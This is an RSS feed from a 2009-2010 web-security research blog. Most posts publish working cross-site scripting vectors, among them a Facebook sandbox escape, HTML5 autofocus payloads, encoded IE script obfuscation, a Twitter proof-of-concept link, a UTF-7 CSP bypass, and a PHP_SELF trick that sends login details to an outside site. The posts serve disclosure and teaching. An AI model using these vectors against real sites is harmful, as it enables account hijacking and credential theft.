<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>The Spanner</title>
	<atom:link href="http://www.thespanner.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thespanner.co.uk</link>
	<description>A tool for designers dealing with programmers dealing with designers...</description>
	<pubDate>Thu, 04 Feb 2010 15:37:13 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>The safety net</title>
		<link>http://www.thespanner.co.uk/2010/02/04/the-safety-net/</link>
		<comments>http://www.thespanner.co.uk/2010/02/04/the-safety-net/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 11:47:57 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[articles]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=586</guid>
		<description><![CDATA[I was thinking about how to prevent a user being exploited lately by whatever method. One thing most attacks have in common is that a user generally needs to initiate the attack by clicking on a email or web site link from a social network. There&#8217;s a obvious pattern here. Granted some attacks are conducted [...]]]></description>
			<content:encoded><![CDATA[<p>I was thinking about how to prevent a user being exploited lately by whatever method. One thing most attacks have in common is that a user generally needs to initiate the attack by clicking on a email or web site link from a social network. There&#8217;s a obvious pattern here. Granted some attacks are conducted on the application itself an XSS worm or network worm for example but these aren&#8217;t as common as the majority of attacks that require some form of initiation.</p>
<p>My solution? The safety net! When your average joe clicks on a link from twitter, they usually want to watch a funny video or something. Using this to it&#8217;s advantage the safety net detects when this happens, it is aware of the context of a email for example or that this particular social network is quite popular. When a user clicks a link from that context the browser doesn&#8217;t need to send any cookie related information from anywhere whilst in the &#8220;Safety net&#8221;. </p>
<p>It acts as a sandbox for the user protecting them from bad stuff, the user should be aware that they&#8217;re in it and should not be able to browse like normal unless they open a new window in the traditional means. It could also work for phishing, prompting the user not to enter any confidential information or maybe disabling form input completely except for whitelisted sources. Corporations could configure their safety net to be more restrictive, a policy for disabling javascript for example or maybe only allowing Flash to play video and not execute actionscript. </p>
<p>If anyone thinks this idea isn&#8217;t too crazy and decides to implement it here are a couple of suggestions I&#8217;ll refer to the Safety net as SN:-</p>
<p>1. Whilst in the SN any executed javascript or other code should always remain in the SN.<br />
2. New windows or frames should not be allowed in the SN.<br />
3. The browser should look different in the SN to inform the user that they are in a more restrictive browsing experience.<br />
4. Closing the SN should be the only way out of it and the user must be clear that is what is happening.<br />
5. Form input could be restricted in the SN.<br />
6. Session data or cookies should not be transferred from/to the SN.<br />
7. ANY form of download should not be permitted in the SN.<br />
8. Third party plugins should only be allowed in restricted mode for example a PDF file should have a restricted mode which many features are disabled like javascript. Only if this mode is enabled would the PDF be allowed to execute.<br />
9. Full screen mode should be prevented.<br />
10. In the SN it is equivalent of opening the browser for the first time. </p>
<p>Additionally I suggest a meta tag to identify social networks:-</p>
<pre lang="javascript">
&lt;meta name=&quot;identify&quot; content=&quot;Social Network&quot; /&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2010/02/04/the-safety-net/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Facebook sandbox escape</title>
		<link>http://www.thespanner.co.uk/2010/01/29/facebook-sandbox-escape/</link>
		<comments>http://www.thespanner.co.uk/2010/01/29/facebook-sandbox-escape/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 10:09:24 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=580</guid>
		<description><![CDATA[My friend mario (he who never blogs) found XSS in facebook a couple of times. This tempted me to look at their sandbox, I didn&#8217;t register for an account but just tried breaking their FBML console. 
They have their own FBML (Facebook markup language) which is just a basic HTML/CSS and a separate Javascript sandbox [...]]]></description>
			<content:encoded><![CDATA[<p>My friend <a href="http://maliciousmarkup.blogspot.com/">mario</a> (he who never blogs) found XSS in facebook a couple of times. This tempted me to look at their sandbox, I didn&#8217;t register for an account but just tried breaking their FBML console. </p>
<p>They have their own FBML (Facebook markup language) which is just a basic HTML/CSS and a separate Javascript sandbox which restricts what you can execute and access by scoping everything to the app ID. I didn&#8217;t need to break their Javascript sandbox as breaking the FBML would allow me to execute any code and accessing the document source etc.</p>
<p>I thought the best way to beat the sandbox would be through css expressions as they use the IE7 compat header. I tested their console a couple of times and in 10 minutes found that they fail to parse CSS comments correctly. Next followed incorrect html encoded quotes, so I had the right tools to break out of there but I need to execute Javascript. They allowed stuff like xpression() but I tried double encoding expression in various ways but they seemed to catch it ok. Then I checked their charset which I presumed they use UTF-8 which they do <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> I used my old trick of placing a UTF-8 BOM character before the &#8220;e&#8221; in expression and boom I had a bypass. The first one didn&#8217;t work because the quote was in the wrong place but I knew a little modification it would work and the final vector is below:-</p>
<pre lang="javascript">
&lt;div style=background-image:url('http://&amp;quot;);xss&#47;&#42;&#42;&#47;&amp;#x3a;﻿&amp;#65279expression(alert(1));+&amp;quot;')!important;&gt;&lt;/div&gt;
</pre>
<p>Note the &amp;#65278 needed to be the actual character in order to break the sandbox but the vector should execute as is anyway and it was easier to see this way. The !important part isn&#8217;t required but I just thought I&#8217;d assign priority <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> The vector has now been fixed by Facebook.</p>
<p><a href="http://tinyurl.com/ycokpwk">Facebook vector</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2010/01/29/facebook-sandbox-escape/feed/</wfw:commentRss>
		</item>
		<item>
		<title>HTML5 new XSS vectors</title>
		<link>http://www.thespanner.co.uk/2009/12/06/html5-new-xss-vectors/</link>
		<comments>http://www.thespanner.co.uk/2009/12/06/html5-new-xss-vectors/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 12:04:47 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=573</guid>
		<description><![CDATA[So I posted some new XSS vectors on twitter and I thought I&#8217;d share them on the blog in case anyone missed them. Safari, Chrome and Opera all support these now  We have a brand new way of auto executing XSS. 
Normally when you find a XSS hole within a input element that has [...]]]></description>
			<content:encoded><![CDATA[<p>So I posted some new XSS vectors on twitter and I thought I&#8217;d share them on the blog in case anyone missed them. Safari, Chrome and Opera all support these now <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> We have a brand new way of auto executing XSS. </p>
<p>Normally when you find a XSS hole within a input element that has filtered &lt; and &gt; you can&#8217;t exploit it automatically without using CSS expressions. The injection looks something like:-</p>
<pre lang="javascript">
&lt;input type=&quot;text&quot; USER_INPUT&gt;
</pre>
<p>Here you can do style=xss:expression(alert(1)) or moz-binding etc. but it only works on a limited number of browsers. HTML5 however lets us execute like expressions but without css styles. For example:-</p>
<pre lang="javascript">
&lt;input type=&quot;text&quot; AUTOFOCUS onfocus=alert(1)&gt;
</pre>
<p>We use the &#8220;autofocus&#8221; feature to focus our element and then the onfocus event to execute our XSS. This works with a plethora (I like that word) of tags. Any form based element it seems you can use this method:-</p>
<pre lang="javascript">
&lt;input autofocus onfocus=alert(1)&gt;
&lt;select autofocus onfocus=alert(1)&gt;
&lt;textarea autofocus onfocus=alert(1)&gt;
&lt;keygen autofocus onfocus=alert(1)&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/12/06/html5-new-xss-vectors/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ping pong obfuscation</title>
		<link>http://www.thespanner.co.uk/2009/11/23/ping-pong-obfuscation/</link>
		<comments>http://www.thespanner.co.uk/2009/11/23/ping-pong-obfuscation/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 13:45:51 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<category><![CDATA[obfuscation]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=561</guid>
		<description><![CDATA[This is a fun post about a feature I found in IE that allows you to do some crazy obfuscation. I&#8217;ll start off with some simple examples:-

&#60;img src=1 language=vbs onerror=msgbox+1&#62;
&#60;img src=1 language=vbscript onerror=msgbox+1&#62;
&#60;img src=1 onerror=vbs:msgbox+1&#62;

So here we&#8217;re not obfuscating but I&#8217;m showing how IE accepts the language attribute and a labelled vbs statement to change [...]]]></description>
			<content:encoded><![CDATA[<p>This is a fun post about a feature I found in IE that allows you to do some crazy obfuscation. I&#8217;ll start off with some simple examples:-</p>
<pre lang="javascript">
&lt;img src=1 language=vbs onerror=msgbox+1&gt;
&lt;img src=1 language=vbscript onerror=msgbox+1&gt;
&lt;img src=1 onerror=vbs:msgbox+1&gt;
</pre>
<p>So here we&#8217;re not obfuscating but I&#8217;m showing how IE accepts the language attribute and a labelled vbs statement to change the event to allow vbscript instead of javascript. Ok so lets play a little ping pong:-</p>
<pre lang="javascript">
execScript("MsgBox 1","vbscript"); //executes vbs from js
execScript('execScript "alert(1)","javascript"',"vbscript");
</pre>
<p>Look how we can call vbscript from javascript by using execScript and then look how we can execute from javascript to vbscript and then back to javascript again! So now we&#8217;re playing some ping pong but how can we make our little game hidden?</p>
<pre lang="javascript">
&lt;a href=# language=&quot;JScript.Encode&quot; onclick=&quot;#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@&quot;&gt;test&lt;/a&gt;
</pre>
<p>Wait what? Yeah IE supports jscript.encode within the language attribute. Remember jscript.encode? ah the old ones are the best <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> That&#8217;s it right? Well&#8230;.</p>
<pre lang="javascript">
&lt;iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@&gt;
</pre>
<p>Yeah you can use VBScript.Encode and Javascript.Encode as labels within an event! You might be going WTF right now and I can understand it because I did exactly the same but it would be silly to finish now without finishing our game of ping pong. How many rallies shall I do? I think 3 should be enough&#8230;.</p>
<pre lang="javascript">
&lt;body onload=&quot;&amp;#x6a;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x2e;&amp;#x65;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x3a;&amp;#x23;&amp;#x40;&amp;#x7e;&amp;#x5e;&amp;#x54;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x3d;&amp;#x3d;&amp;#x6e;&amp;#x58;&amp;#x2b;&amp;#x5e;&amp;#x55;&amp;#x6d;&amp;#x4d;&amp;#x6b;&amp;#x77;&amp;#x44;&amp;#x60;&amp;#x72;&amp;#x3a;&amp;#x40;&amp;#x24;&amp;#x3f;&amp;#x37;&amp;#x33;&amp;#x68;&amp;#x7a;&amp;#x62;&amp;#x29;&amp;#x29;&amp;#x7b;&amp;#x27;&amp;#x5a;&amp;#x25;&amp;#x51;&amp;#x52;&amp;#x47;&amp;#x3d;&amp;#x32;&amp;#x9;&amp;#x56;&amp;#x37;&amp;#x57;&amp;#x42;&amp;#x20;&amp;#x71;&amp;#x64;&amp;#x47;&amp;#x5c;&amp;#x3a;&amp;#x32;&amp;#x6a;&amp;#x62;&amp;#x65;&amp;#x62;&amp;#x7a;&amp;#x29;&amp;#x27;&amp;#x7b;&amp;#x37;&amp;#x3a;&amp;#x3d;&amp;#x40;&amp;#x24;&amp;#x4a;&amp;#x7e;&amp;#x45;&amp;#x25;&amp;#x6b;&amp;#x6d;&amp;#x2e;&amp;#x6b;&amp;#x61;&amp;#x4f;&amp;#x63;&amp;#x2b;&amp;#x55;&amp;#x31;&amp;#x57;&amp;#x39;&amp;#x2b;&amp;#x4a;&amp;#x2a;&amp;#x43;&amp;#x52;&amp;#x63;&amp;#x41;&amp;#x41;&amp;#x41;&amp;#x3d;&amp;#x3d;&amp;#x5e;&amp;#x23;&amp;#x7e;&amp;#x40;&quot;&gt;
</pre>
<p>Ok so I go to:-<br />
jscript->jscript.encode->jscript.encode->jscript.encode->hex entities</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/11/23/ping-pong-obfuscation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Twitter misidentifying context</title>
		<link>http://www.thespanner.co.uk/2009/11/23/twitter-misidentifying-context/</link>
		<comments>http://www.thespanner.co.uk/2009/11/23/twitter-misidentifying-context/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 12:55:25 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=552</guid>
		<description><![CDATA[This is an important post for me, not because it&#8217;s ground breaking but people don&#8217;t seem to get this when using data in certain context. If you are a dev please read this and read it until you understand it because if you misidentify context you fail and you fail pretty badly.
I reported this to [...]]]></description>
			<content:encoded><![CDATA[<p>This is an important post for me, not because it&#8217;s ground breaking but people don&#8217;t seem to get this when using data in certain context. If you are a dev please read this and read it until you understand it because if you misidentify context you fail and you fail pretty badly.</p>
<p>I reported this to twitter about two months ago, they responded and fixed four xss holes but two remain and they didn&#8217;t contact me to test the fix. </p>
<p>When you are including user input inside a javascript event within a string what do you have to escape? If you answered: &#8216;&#8221;<>\<br />
You are wrong. Twitter is wrong.</p>
<p>Take the following example:-</p>
<pre lang="javascript">
&lt;a href=# onclick=&quot;x= 'USERINPUT' &quot;&gt;test&lt;/a&gt;
</pre>
<p>So you can place your input within the single quotes and there is a place on twitter that does this:-<br />
twitterTheseResults(&#8217; \&amp;quot;\&#8217;xss&#8217;,'/search?q=&amp;a&#8230;</p>
<p>Here they are escaping &amp;quot; with \&amp;quot; and &#8216; with \&#8217;. But that isn&#8217;t enough! Why? Because it&#8217;s a javascript onclick event! Inside an event you have to escape entities! All of them!</p>
<p>Consider the following vector:-<br />
&amp;apos;,alert(1),&amp;apos;</p>
<p>No single quotes but &amp;apos; still acts as one. Please look at this test and make sure you understand how it works:-<br />
<a href="http://tinyurl.com/xssyoda">http://tinyurl.com/xssyoda</a></p>
<p>Don&#8217;t forget other entities work too &amp;#39; &amp;#x27; &amp;#39 &amp;#x27 so make sure you escape all characters within a js event like so:-</p>
<pre lang="javascript">
&lt;a href=&quot;#&quot; onclick=&quot;x='USERINPUT\x27\x22\x3c\x3e'&quot;&gt;test&lt;/a&gt;
</pre>
<p>and Twitter PLEASE fix this and related holes c&#8217;mon it&#8217;s been two months, it&#8217;s not rocket science to fix:-<br />
<a href="http://search.twitter.com/search?q=&#038;ands=blackhat+video&#038;phrase=%26apos;%29,alert%281,%26apos;&#038;ors=%26apos;%29,alert%281,%26apos;&#038;nots=%26apos;%29,alert%281,%26apos;&#038;tag=%26apos;%29,alert%281,%26apos;&#038;lang=all%26apos;,alert%281,%26apos;&#038;from=%26apos;%29,alert%281,%26apos;&#038;to=%26apos;%29,alert%281,%26apos;&#038;ref=%26apos;%29,alert%281,%26apos;&#038;near=%26apos;%29,alert%281,%26apos;&#038;within=15%26apos;%29,alert%281,%26apos;&#038;units=mi%26apos;%29,alert%281,%26apos;&#038;since=%26apos;%29,alert%281,%26apos;&#038;until=%26apos;%29,alert%281,%26apos;&#038;rpp=%26apos;%29,alert%281,%26apos;">Twitter poc (don&#8217;t tweet these results)</a></p>
<p>&amp;apos; works on non-IE browsers but the other entities mentioned work fine on IE too.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/11/23/twitter-misidentifying-context/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bypassing CSP for fun, no profit</title>
		<link>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/</link>
		<comments>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 08:45:19 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=545</guid>
		<description><![CDATA[I had fun at Confidence 2.0 CON, I&#8217;m gonna blog about the stuff I was holding back now  
So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly [...]]]></description>
			<content:encoded><![CDATA[<p>I had fun at Confidence 2.0 CON, I&#8217;m gonna blog about the stuff I was holding back now <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So I figured how to bypass CSP with UTF-7 and JSON. Basically any site with a JSON feed that can be manipulated by an attacker (reflective or persistent) can be injected with even in a correctly escaped JSON feed.</p>
<p>Utf-7 can be fully encoded meaning that you can conceal string characters and others. &#8216;ABC&#8217; becomes +ACcAQQBCAEMAJw-. So if we look at a fictional JSON feed such as:-<br />
[{'friend':'something',email:'something'} ]</p>
<p>If we can influence the &#8220;something&#8221; parts then we inject the feed with our data to bypass CSP:-<br />
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw<br />
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw<br />
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb<br />
wBiACcAOgAnAGQAbwBuAGU-'}]</p>
<p>This is what the code looks like when decoded:-<br />
[{'friend':'luke','email':''}];alert(&#8217;May the force be with you&#8217;);[{'job':'done'}]</p>
<p>We then inject the data by referencing it using a script tag and a charset:-</p>
<pre lang="javascript">
&quot;&gt;&lt;script src=&quot;http://some.website/test.json&quot; charset=&quot;utf-7&quot;&gt;&lt;/script&gt;
</pre>
<p>This successfully executes in CSP bypasing it&#8217;s restrictions because the code comes from the domain itself and doesn&#8217;t use in-line or attribute based XSS.</p>
<p>As always as demo is available here:-<br />
<a href="http://www.businessinfo.co.uk/labs/cspluke/test.html">CSP bypass</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/feed/</wfw:commentRss>
		</item>
		<item>
		<title>My RegExp is leaking</title>
		<link>http://www.thespanner.co.uk/2009/10/20/my-regexp-is-leaking/</link>
		<comments>http://www.thespanner.co.uk/2009/10/20/my-regexp-is-leaking/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 10:27:55 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=539</guid>
		<description><![CDATA[I discovered a long time ago that the Javascript specification actually encourages the global RegExp object to retain the properties from the last execution of the regular expression parser. This is quite funny and stupid because as we move forward and sites start to share the same Javascript space we will leak information that we [...]]]></description>
			<content:encoded><![CDATA[<p>I discovered a long time ago that the Javascript specification actually encourages the global RegExp object to retain the properties from the last execution of the regular expression parser. This is quite funny and stupid because as we move forward and sites start to share the same Javascript space we will leak information that we don&#8217;t want to leak.</p>
<p>Don&#8217;t get me wrong this isn&#8217;t a huge issue, it&#8217;s just one of those little spec holes which we can exploit for Obfuscation or information leakage. Noscript or Firefox I&#8217;m not sure which seems to leak the last RegExp execution when called from a event. An example of this can be viewed here:-</p>
<p><a href="http://www.businessinfo.co.uk/labs/test_files/testff.html">Regexp leak</a></p>
<p>So when you click the link, the URL is actually built from Noscripts scan of the URL using the following code:-</p>
<pre lang="javascript">
alert(RegExp['$`']+RegExp['$&#038;']+RegExp['$\''])
</pre>
<p>This could be used for hiding a XSS payload or something, like I said not really that serious&#8230;okay onto obfuscation. We can use leftContext etc as a variable to eval and execute code based on the RegExp matches like so:-</p>
<pre lang="javascript">
/\\u0024/.test('\x61\x6c\x65\x72\x74\x28\x31\x29\x24');
eval(RegExp['$`'])
</pre>
<p>So the pattern finds \$ within the text alert(1)$ and returns the leftContext (RegExp['$`']) which is alert(1) and executes the code.</p>
<p>And finally I&#8217;ll leave you with some bonus obfuscation:-</p>
<pre lang="javascript">
eval('a'.replace(/(.+)/,'$1l').replace(/(.+)/,'$1e').replace(/(.+)/,'$1r').replace(/(.+)/,'$1t').replace(/(.+)/,'$1(').replace(/(.+)/,'$11').replace(/(.+)/,'$1)'))
</pre>
<pre lang="javascript">
eval('342342ale'.replace(/\d+/,'$`')+'rt23879'.replace(/\d+/,'$\'')+'abcdefggi(1)'.replace(/.+(\([1]\))/,'$+'))
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/10/20/my-regexp-is-leaking/feed/</wfw:commentRss>
		</item>
		<item>
		<title>PHP self return of the slash</title>
		<link>http://www.thespanner.co.uk/2009/09/25/php-self-return-of-the-slash/</link>
		<comments>http://www.thespanner.co.uk/2009/09/25/php-self-return-of-the-slash/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 08:33:24 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=533</guid>
		<description><![CDATA[Not posted for a while because I couldn&#8217;t think of anything interesting to say but I thought about something I found ages ago in PHP4 and it&#8217;s been long enough now. This is also quite funny because my server is vulnerable to this (that&#8217;s what I get for crappy hosting).
So what happens if you escape [...]]]></description>
			<content:encoded><![CDATA[<p>Not posted for a while because I couldn&#8217;t think of anything interesting to say but I thought about something I found ages ago in PHP4 and it&#8217;s been long enough now. This is also quite funny because my server is vulnerable to this (that&#8217;s what I get for crappy hosting).</p>
<p>So what happens if you escape PHP_SELF with htmlentities($_SERVER['PHP_SELF'], ENT_QUOTES)? Safe from XSS? I hope so. Safe from everything? Well not really or at least it didn&#8217;t used to be. You see PHP does some crazy things with the URL and it&#8217;s possible to change a form target to an external URL without using any unsafe characters. Take the following example:-</p>
<p><a href="http://www.businessinfo.co.uk/labs/php_self/login.php">Login form</a></p>
<p>This form simulates some web application login and uses PHP_SELF to output the URL because for some reason the developer doesn&#8217;t want to type &#8220;login.php&#8221; or use __FILE___. The URL is escaped from XSS but we can change the form target by simply supplying slashes <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> e.g.</p>
<p><a href="http://www.businessinfo.co.uk/labs/php_self/login.php//google.com?lets%20send%20google%20your%20password">Sending Google your password</a> So the user enters their username and password combination and thinks that they are logging on to the target application in reality you are sending the details to a evil site. </p>
<p>I checked PHP5 and it seemed ok but this will serve as a reminder that the slash can get you.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/09/25/php-self-return-of-the-slash/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Javascript compression with unicode characters</title>
		<link>http://www.thespanner.co.uk/2009/08/15/javascript-compression-with-unicode-characters/</link>
		<comments>http://www.thespanner.co.uk/2009/08/15/javascript-compression-with-unicode-characters/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 11:19:15 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=487</guid>
		<description><![CDATA[For some random reason I was making a base999 number compression function, I think it was because someone posted on sla.ckers about base 62. I wanted to see how far I could compress the numbers using a higher range of characters, then it hit me. Why not use it for js compression  
You see [...]]]></description>
			<content:encoded><![CDATA[<p>For some random reason I was making a base999 number compression function, I think it was because someone posted on sla.ckers about base 62. I wanted to see how far I could compress the numbers using a higher range of characters, then it hit me. Why not use it for js compression <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>You see if you convert the characters to their character code number and then extract a section of the number and convert it to a unicode character you can drastically reduce the amount of characters, provided of course your code contains enough characters as a decompression function is required.</p>
<p>I&#8217;ve added the three tag to Hackvertor to demo the compression. Here is a sample of code:-</p>
<pre lang="javascript">
eval("◮ᾥѵ٨ፍ".replace(/[^\s]/g,function(c){return c.charCodeAt()}).replace(/[3][2-9]|[4-9][0-9]|[1][0-1][0-9]|[1][2][0-6]/g,function(d){return String.fromCharCode(d)}))
</pre>
<p>The unpacking function simply gets the character codes, then the very specific regexp finds a range of characters from !-~ based on the character code number. This is because I only have one long number and they are not separated. I leave spaces intact because they don&#8217;t fall between the ranges and also it can break syntax if they are missing a semi-colon. It&#8217;s possible to reduce it further by including these characters.</p>
<p>So if you want to have some fun, try reducing the amount of characters compressed and see if you can create a smaller decompression function. Below is an example of the jspack tag in action:-<br />
<a href="http://tinyurl.com/oanfm5">JS pack</a></p>
<h3>Update&#8230;</h3>
<p>Ok as Andrea pointed out this isn&#8217;t actual compression however many systems including twitter think the unicode characters are actually only 1 byte which results in longer message. So you can compress a 280 character message into 140. Sirdarckcat manage to get it down to the 50% ratio, you can send encoded twitter messages with Hackvertor. Like this:-</p>
<p><a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php#PEBzaXJkYXJja2NhdF90d2l0dGVyX2VuY18wPlRoaXMgaXMgYW4gZW5jb2RlZCBtZXNzYWdlPEAvc2lyZGFyY2tjYXRfdHdpdHRlcl9lbmNfMD4%3D">Encoded twitter message</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/08/15/javascript-compression-with-unicode-characters/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fresh prototypes on all browsers</title>
		<link>http://www.thespanner.co.uk/2009/08/11/fresh-prototypes-on-all-browsers/</link>
		<comments>http://www.thespanner.co.uk/2009/08/11/fresh-prototypes-on-all-browsers/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 14:05:47 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=480</guid>
		<description><![CDATA[So there&#8217;s a well known technique for getting Object prototypes that are not from the current window which results in a fresh prototype. You use iframes to copy the required prototype from the iframe.contentWindow BUT&#8230;It doesn&#8217;t work in all browsers and it&#8217;s pretty silly having to copy each object manually, why not just use the [...]]]></description>
			<content:encoded><![CDATA[<p>So there&#8217;s a well known technique for getting Object prototypes that are not from the current window which results in a fresh prototype. You use iframes to copy the required prototype from the iframe.contentWindow BUT&#8230;It doesn&#8217;t work in all browsers and it&#8217;s pretty silly having to copy each object manually, why not just use the window? Well you can <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>So after a lot of code testing/rewriting here is how to do it:-</p>
<pre lang="javascript">
var iframe = document.createElement('iframe');
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.frameborder = "0";
iframe.style.position = 'absolute';
iframe.style.left = '-100px';
iframe.style.top = '-100px';
document.body.appendChild(iframe);
var code = "(function(objConstructor){ return window.NameOfInstance= objConstructor();})(" + objConstructor+ ")";
if (window.opera) {
	iframe.contentWindow.Function(code)();
} else {
	iframe.contentWindow.document.write('<\script type="text/javascript">' + code + '<\/script>');
	iframe.contentWindow.document.close();
}
var obj = iframe.contentWindow.NameOfInstance;
if(!obj) {
	iframe.contentWindow.Function(code)();
	obj = iframe.contentWindow.NameOfInstance;
}
</pre>
<p>So here obj contains our Object instance within the context of the iframe window, that means any references to window inside your object only affect the iframe context. The reason for the if statements and different code is because Firefox, Safari, Opera and IE all act differently. Opera doesn&#8217;t pass the object straight away unless the Function constructor is used, Safari supports the Function constructor method and the document.write method but doesn&#8217;t return the object correctly when using document.write until it&#8217;s loaded.</p>
<p>The important part about this code is that you don&#8217;t need to use the onload event of the iframe as the object is returned instantly <img src='http://www.thespanner.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/08/11/fresh-prototypes-on-all-browsers/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
